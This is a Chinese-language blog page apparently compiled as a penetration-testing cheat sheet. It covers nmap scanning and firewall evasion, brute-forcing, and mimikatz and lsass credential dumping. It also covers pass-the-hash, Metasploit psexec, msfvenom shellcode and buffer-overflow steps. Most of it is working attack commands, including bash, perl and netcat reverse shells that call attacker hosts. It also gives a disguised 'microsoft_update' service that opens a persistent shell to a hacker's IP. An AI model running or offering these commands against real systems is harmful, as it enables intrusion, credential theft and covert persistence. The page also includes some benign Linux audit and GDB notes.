点击登录

    渗透测试工具合集

    科技资讯 norbert 8185次浏览 已收录 0个评论 扫描二维码

    NMAP 扫描策略

    # 适用所有大小网络最好的 nmap 扫描策略
    
    # 主机发现,生成存活主机列表
    $ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
    $ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt
    
    # 端口发现,发现大部分常用端口
    # http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf
    $ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
    $ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
    $ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt
    
    # 端口发现,发现全部端口,但 UDP 端口的扫描会非常慢
    $ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
    $ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt
    
    # 显示 TCP\UDP 端口
    $ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}'
    $ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'
    
    # 侦测服务版本
    $ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt
    
    # 扫做系统扫描
    $ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt
    
    # 系统和服务检测
    $ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt
    

    Nmap躲避防火墙

    # 分段
    $ nmap -f
    
    # 修改默认 MTU 大小,但必须为 8 的倍数(8,16,24,32 等等)
    $ nmap --mtu 24
    
    # 生成随机数量的欺骗
    $ nmap -D RND:10 [target]
    
    # 手动指定欺骗使用的 IP
    $ nmap -D decoy1,decoy2,decoy3 etc.
    
    # 僵尸网络扫描, 首先需要找到僵尸网络的IP
    $ nmap -sI [Zombie IP] [Target IP]
    
    # 指定源端口号
    $ nmap --source-port 80 IP
    
    # 在每个扫描数据包后追加随机数量的数据
    $ nmap --data-length 25 IP
    
    # MAC 地址欺骗,可以生成不同主机的 MAC 地址
    $ nmap --spoof-mac Dell/Apple/3Com IP
    

    Nmap的Web漏洞扫描

    cd /usr/share/nmap/scripts/
    wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz
    nmap -sS -sV --script=vulscan/vulscan.nse target
    nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target
    nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target
    nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target
    nmap -sV --script=vuln target
    nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target
    

    使用 DIRB 爆破目录

    注:DIRB 是一个专门用于爆破目录的工具,在 Kali 中默认已经安装,类似工具还有国外的patator,dirsearch,DirBuster, 国内的御剑等等。

    dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt
    

    Patator – 全能暴力破解测试工具

    # git clone https://github.com/lanjelot/patator.git /usr/share/patator
    
    # SMTP 爆破
    $ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst
    $ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
    $ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
    $ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'
    

    使用 Fierce 爆破 DNS

    注:Fierce 会检查 DNS 服务器是否允许区域传送。如果允许,就会进行区域传送并通知用户,如果不允许,则可以通过查询 DNS 服务器枚举主机名。类似工具:subDomainsBrute 和 SubBrute 等等

    # http://ha.ckers.org/fierce/
    $ ./fierce.pl -dns example.com
    $ ./fierce.pl –dns example.com –wordlist myWordList.txt
    

    使用 Nikto 扫描 Web 服务

    nikto -C all -h http://IP
    

    扫描 WordPress

    git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
    ./wpscan –url http://IP/ –enumerate p
    

    HTTP 指纹识别

    wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip
    cd httprint_301/linux/
    ./httprint -h http://IP -s signatures.txt
    

    使用 Skipfish 扫描

    注:Skipfish 是一款 Web 应用安全侦查工具,Skipfish 会利用递归爬虫和基于字典的探针生成一幅交互式网站地图,最终生成的地图会在通过安全检查后输出。

    skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP
    

    使用 NC 扫描

    nc -v -w 1 target -z 1-1000
    for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done
    

    Unicornscan

    注:Unicornscan 是一个信息收集和安全审计的工具。

    us -H -msf -Iv 192.168.56.101 -p 1-65535
    us -H -mU -Iv 192.168.56.101 -p 1-65535
    
    -H 在生成报告阶段解析主机名
    -m 扫描类型 (sf - tcp, U - udp)
    -Iv - 详细
    

    使用 Xprobe2 识别操作系统指纹

    xprobe2 -v -p tcp:80:open IP
    

    枚举 SNMP

    snmpget -v 1 -c public IP
    snmpwalk -v 1 -c public IP
    snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP
    

    实用的 Windows cmd 命令

    net localgroup Users
    net localgroup Administrators
    search dir/s *.doc
    system("start cmd.exe /k $cmd")
    sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
    /c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779
    mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
    Procdump.exe -accepteula -ma lsass.exe lsass.dmp
    mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
    C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp 32 位系统
    C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp 64 位系统
    

    PuTTY 连接隧道

    转发远程端口到目标地址
    plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP
    

    Meterpreter 端口转发

    # https://www.offensive-security.com/metasploit-unleashed/portfwd/
    # 转发远程端口到目标地址
    meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141
    kali > rdesktop 127.0.0.1:3389
    

    关闭 Windows 防火墙

    netsh firewall set opmode disable
    

    使用 Mimikatz

    获取 Windows 明文用户名密码。

    git clone https://github.com/gentilkiwi/mimikatz.git
    privilege::debug
    sekurlsa::logonPasswords full
    

    获取哈希值

    git clone https://github.com/byt3bl33d3r/pth-toolkit
    pth-winexe -U hash //IP cmd
    
    或者
    
    apt-get install freerdp-x11
    xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP
    
    在或者
    
    meterpreter > run post/windows/gather/hashdump
    Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
    msf > use exploit/windows/smb/psexec
    msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
    msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
    msf exploit(psexec) > exploit
    meterpreter > shell
    

    使用 Hashcat 破解密码

    hashcat -m 400 -a 0 hash /root/rockyou.txt
    

    使用 NC 抓取 Banner 信息

    nc 192.168.0.10 80
    GET / HTTP/1.1
    Host: 192.168.0.10
    User-Agent: Mozilla/4.0
    Referrer: www.example.com
    <enter>
    <enter>
    

    使用 NC 在 Windows 上反弹 shell

    c:>nc -Lp 31337 -vv -e cmd.exe
    nc 192.168.0.10 31337
    c:>nc example.com 80 -e cmd.exe
    nc -lp 80
    
    nc -lp 31337 -e /bin/bash
    nc 192.168.0.10 31337
    nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000
    

    Python shell

    python -c 'import pty;pty.spawn("/bin/bash")'
    

    Python\Ruby\PHP HTTP 服务器

    python2 -m SimpleHTTPServer
    python3 -m http.server
    ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :D
     ocumentRoot => Dir.pwd).start"
    php -S 0.0.0.0:8888
    

    获取进程对应的 PID

    fuser -nv tcp 80
    fuser -k -n tcp 80
    

    SSH 穿透

    ssh -D 127.0.0.1:1080 -p 22 user@IP
    Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
    proxychains commands target
    

    SSH 穿透从一个网络到另一个网络

    ssh -D 127.0.0.1:1080 -p 22 user1@IP1
    Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
    proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2
    Add socks4 127.0.0.1 1081 in /etc/proxychains.conf
    proxychains commands target
    

    使用 metasploit 进行穿透

    route add X.X.X.X 255.255.255.0 1
    use auxiliary/server/socks4a
    run
    proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E
    
    或者
    
    # https://www.offensive-security.com/metasploit-unleashed/pivoting/
    meterpreter > ipconfig
    IP Address  : 10.1.13.3
    meterpreter > run autoroute -s 10.1.13.0/24
    meterpreter > run autoroute -p
    10.1.13.0          255.255.255.0      Session 1
    meterpreter > Ctrl+Z
    msf auxiliary(tcp) > use exploit/windows/smb/psexec
    msf exploit(psexec) > set RHOST 10.1.13.2
    msf exploit(psexec) > exploit
    meterpreter > ipconfig
    IP Address  : 10.1.13.2
    

    Linux 常用安全命令

    # 使用 uid 查找对应的程序
    find / -uid 0 -perm -4000
    
    # 查找哪里拥有写权限
    find / -perm -o=w
    
    # 查找名称中包含点和空格的文件
    find / -name " " -print
    find / -name ".." -print
    find / -name ". " -print
    find / -name " " -print
    
    # 查找不属于任何人的文件
    find / -nouser
    
    # 查找未链接的文件
    lsof +L1
    
    # 获取进程打开端口的信息
    lsof -i
    
    # 看看 ARP 表中是否有奇怪的东西
    arp -a
    
    # 查看所有账户
    getent passwd
    
    # 查看所有用户组
    getent group
    
    # 列举所有用户的 crontabs
    for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done
    
    # 生成随机密码
    cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4
    
    # 查找所有不可修改的文件
    find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’
    
    # 使文件不可修改
    chattr -i file
    

    Windows 缓冲区溢出利用命令

    msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c
    
    COMMONLY USED BAD CHARACTERS:
    \x00\x0a\x0d\x20                              For http request
    \x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c           Ending with (0\n\r_)
    
    # 常用命令:
    pattern create
    pattern offset (EIP Address)
    pattern offset (ESP Address)
    add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )
    
    !pvefindaddr pattern_create 5000
    !pvefindaddr suggest
    !pvefindaddr modules
    !pvefindaddr nosafeseh
    
    !mona config -set workingfolder C:\Mona\%p
    !mona config -get workingfolder
    !mona mod
    !mona bytearray -b "\x00\x0a"
    !mona pc 5000
    !mona po EIP
    !mona suggest
    

    GDB Debugger 常用命令

    # 设置断点
    break *_start
    
    # 执行下一个命令
    next
    step
    n
    s
    
    # 继续执行
    continue
    c
    
    # 数据
    checking 'REGISTERS' and 'MEMORY'
    
    # 显示寄存器的值: (Decimal,Binary,Hex)
    print /d –> Decimal
    print /t –> Binary
    print /x –> Hex
    O/P :
    (gdb) print /d $eax
    $17 = 13
    (gdb) print /t $eax
    $18 = 1101
    (gdb) print /x $eax
    $19 = 0xd
    (gdb)
    
    # 显示特定内存地址的值
    command : x/nyz (Examine)
    n –> Number of fields to display ==>
    y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
    z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)
    

    BASH 反弹 Shell

    bash -i >& /dev/tcp/X.X.X.X/443 0>&1
    
    exec /bin/bash 0&0 2>&0
    exec /bin/bash 0&0 2>&0
    
    0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
    
    0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
    
    exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done
    exec 5<>/dev/tcp/attackerip/4444
    
    cat <&5 | while read line; do $line 2>&5 >&5; done # or:
    while read line 0<&5; do $line 2>&5 >&5; done
    
    /bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
    /bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1
    

    PERL 反弹 Shell

    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
    
    # Win 平台
    perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
    perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
    

    网站内容采用BY-NC-SA协议分享 , 转载请注明: 渗透测试工具合集
    喜欢 (5)
    [norbert_jxl@163.com]
    分享 (0)

    您必须 登录 才能发表评论!